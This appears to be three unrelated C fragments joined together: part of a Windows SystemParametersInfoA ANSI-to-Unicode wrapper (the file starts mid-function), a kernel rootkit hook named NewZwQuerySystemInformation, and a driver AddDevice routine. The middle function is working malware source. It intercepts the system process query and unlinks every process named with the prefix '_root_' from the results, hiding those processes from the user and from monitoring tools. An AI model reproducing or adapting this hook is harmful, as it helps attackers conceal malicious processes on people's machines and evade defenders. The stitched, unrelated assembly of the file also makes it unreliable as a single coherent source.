pnclma->iScrollHeight; nclmw.iCaptionWidth = pnclma->iCaptionWidth; nclmw.iCaptionHeight = pnclma->iCaptionHeight; nclmw.iSmCaptionWidth = pnclma->iSmCaptionWidth; nclmw.iSmCaptionHeight = pnclma->iSmCaptionHeight; nclmw.iMenuWidth = pnclma->iMenuWidth; nclmw.iMenuHeight = pnclma->iMenuHeight; LogFontA2W(&(nclmw.lfCaptionFont), &(pnclma->lfCaptionFont)); LogFontA2W(&(nclmw.lfSmCaptionFont), &(pnclma->lfSmCaptionFont)); LogFontA2W(&(nclmw.lfMenuFont), &(pnclma->lfMenuFont)); LogFontA2W(&(nclmw.lfStatusFont), &(pnclma->lfStatusFont)); LogFontA2W(&(nclmw.lfMessageFont), &(pnclma->lfMessageFont)); return SystemParametersInfoW(uiAction, sizeof(NONCLIENTMETRICSW), &nclmw, fWinIni); } case SPI_GETICONMETRICS: { LPICONMETRICSA picma = (LPICONMETRICSA)pvParam; ICONMETRICSW icmw; if(picma->cbSize != sizeof(ICONMETRICSA)) { SetLastError(ERROR_INVALID_PARAMETER); return FALSE; } icmw.cbSize = sizeof(ICONMETRICSW); if (!SystemParametersInfoW(uiAction, sizeof(ICONMETRICSW), &icmw, fWinIni)) return FALSE; picma->iHorzSpacing = icmw.iHorzSpacing; picma->iVertSpacing = icmw.iVertSpacing; picma->iTitleWrap = icmw.iTitleWrap; LogFontW2A(&(picma->lfFont), &(icmw.lfFont)); return TRUE; } case SPI_SETICONMETRICS: { LPICONMETRICSA picma = (LPICONMETRICSA)pvParam; ICONMETRICSW icmw; if(picma->cbSize != sizeof(ICONMETRICSA)) { SetLastError(ERROR_INVALID_PARAMETER); return FALSE; } icmw.cbSize = sizeof(ICONMETRICSW); icmw.iHorzSpacing = picma->iHorzSpacing; icmw.iVertSpacing = picma->iVertSpacing; icmw.iTitleWrap = picma->iTitleWrap; LogFontA2W(&(icmw.lfFont), &(picma->lfFont)); return SystemParametersInfoW(uiAction, sizeof(ICONMETRICSW), &icmw, fWinIni); } case SPI_GETICONTITLELOGFONT: { LOGFONTW lfw; if (!SystemParametersInfoW(uiAction, 0, &lfw, fWinIni)) return FALSE; LogFontW2A(pvParam, &lfw); return TRUE; } case SPI_SETICONTITLELOGFONT: { LPLOGFONTA plfa = (LPLOGFONTA)pvParam; LOGFONTW lfw; LogFontA2W(&lfw,plfa); return SystemParametersInfoW(uiAction, 0, &lfw, fWinIni); } case SPI_GETDESKWALLPAPER: { BOOL Ret; WCHAR awc[MAX_PATH]; UNICODE_STRING ustrWallpaper; ANSI_STRING astrWallpaper; Ret = NtUserSystemParametersInfo(SPI_GETDESKWALLPAPER, MAX_PATH, awc, fWinIni); RtlInitUnicodeString(&ustrWallpaper, awc); RtlUnicodeStringToAnsiString(&astrWallpaper, &ustrWallpaper, TRUE); RtlCopyMemory(pvParam, astrWallpaper.Buffer, uiParam); RtlFreeAnsiString(&astrWallpaper); return Ret; } case SPI_SETDESKWALLPAPER: { UNICODE_STRING ustrWallpaper; BOOL Ret; if (pvParam) { if (!RtlCreateUnicodeStringFromAsciiz(&ustrWallpaper, pvParam)) { ERR("RtlCreateUnicodeStringFromAsciiz failed\n"); return FALSE; } pvParam = &ustrWallpaper; } Ret = NtUserSystemParametersInfo(SPI_SETDESKWALLPAPER, uiParam, pvParam, fWinIni); if (pvParam) RtlFreeUnicodeString(&ustrWallpaper); return Ret; } } return NtUserSystemParametersInfo(uiAction, uiParam, pvParam, fWinIni); }
NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength ) { NTSTATUS rc; CHAR aProcessName[PROCNAMELEN]; GetProcessName( aProcessName ); DbgPrint("rootkit: NewZwQuerySystemInformation() from %s\n", aProcessName); rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS( rc ) ) { // double check the process name, if it starts w/ '_root_' DO NOT // apply any stealth if(0 == memcmp(aProcessName, "_root_", 6)) { DbgPrint("rootkit: detected system query from _root_ process\n"); } else if( 5 == SystemInformationClass ) { // this is a process list, look for process names that start with // '_root_' struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta); ANSI_STRING process_name; RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE); if( (0 < process_name.Length) && (255 > process_name.Length) ) { if(0 == memcmp( process_name.Buffer, "_root_", 6)) { ////////////////////////////////////////////// // we have a winner! ////////////////////////////////////////////// char _output[255]; char _pname[255]; memset(_pname, 0, 255); memcpy(_pname, process_name.Buffer, process_name.Length); sprintf( _output, "rootkit: hiding process, pid: %d\tname: %s\r\n", curr->ProcessId, _pname); DbgPrint(_output); if(prev) { if(curr->NextEntryDelta) { // make prev skip this entry prev->NextEntryDelta += curr->NextEntryDelta; } else { // we are last, so make prev the end prev->NextEntryDelta = 0; } } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else { // we are the only process! SystemInformation = NULL; } } } } RtlFreeAnsiString(&process_name); prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } } return(rc); }
NTSTATUS #pragma prefast(suppress:28152) // Does not clear DO_DEVICE_INITIALIZING AddDevice( IN PDRIVER_OBJECT DriverObject, IN PDEVICE_OBJECT PhysicalDeviceObject ) { HANDLE ParametersKey; PWCHAR DeviceID; UNICODE_STRING Unicode; ANSI_STRING Name; PANSI_STRING Type; NTSTATUS status; ASSERT3P(DriverObject, ==, __DriverGetDriverObject()); ParametersKey = __DriverGetParametersKey(); if (ParametersKey == NULL) goto done; status = __DriverQueryId(PhysicalDeviceObject, BusQueryDeviceID, &DeviceID); if (!NT_SUCCESS(status)) goto fail1; RtlInitUnicodeString(&Unicode, DeviceID); status = RtlUnicodeStringToAnsiString(&Name, &Unicode, TRUE); if (!NT_SUCCESS(status)) goto fail2; status = RegistryQuerySzValue(ParametersKey, Name.Buffer, &Type); if (NT_SUCCESS(status)) { status = FdoCreate(PhysicalDeviceObject, &Name, Type); if (!NT_SUCCESS(status)) goto fail3; RegistryFreeSzValue(Type); } RtlFreeAnsiString(&Name); ExFreePool(DeviceID); done: return STATUS_SUCCESS; fail3: Error("fail3\n"); RegistryFreeSzValue(Type); RtlFreeAnsiString(&Name); fail2: Error("fail2\n"); ExFreePool(DeviceID); fail1: Error("fail1 (%08x)\n", status); return status; }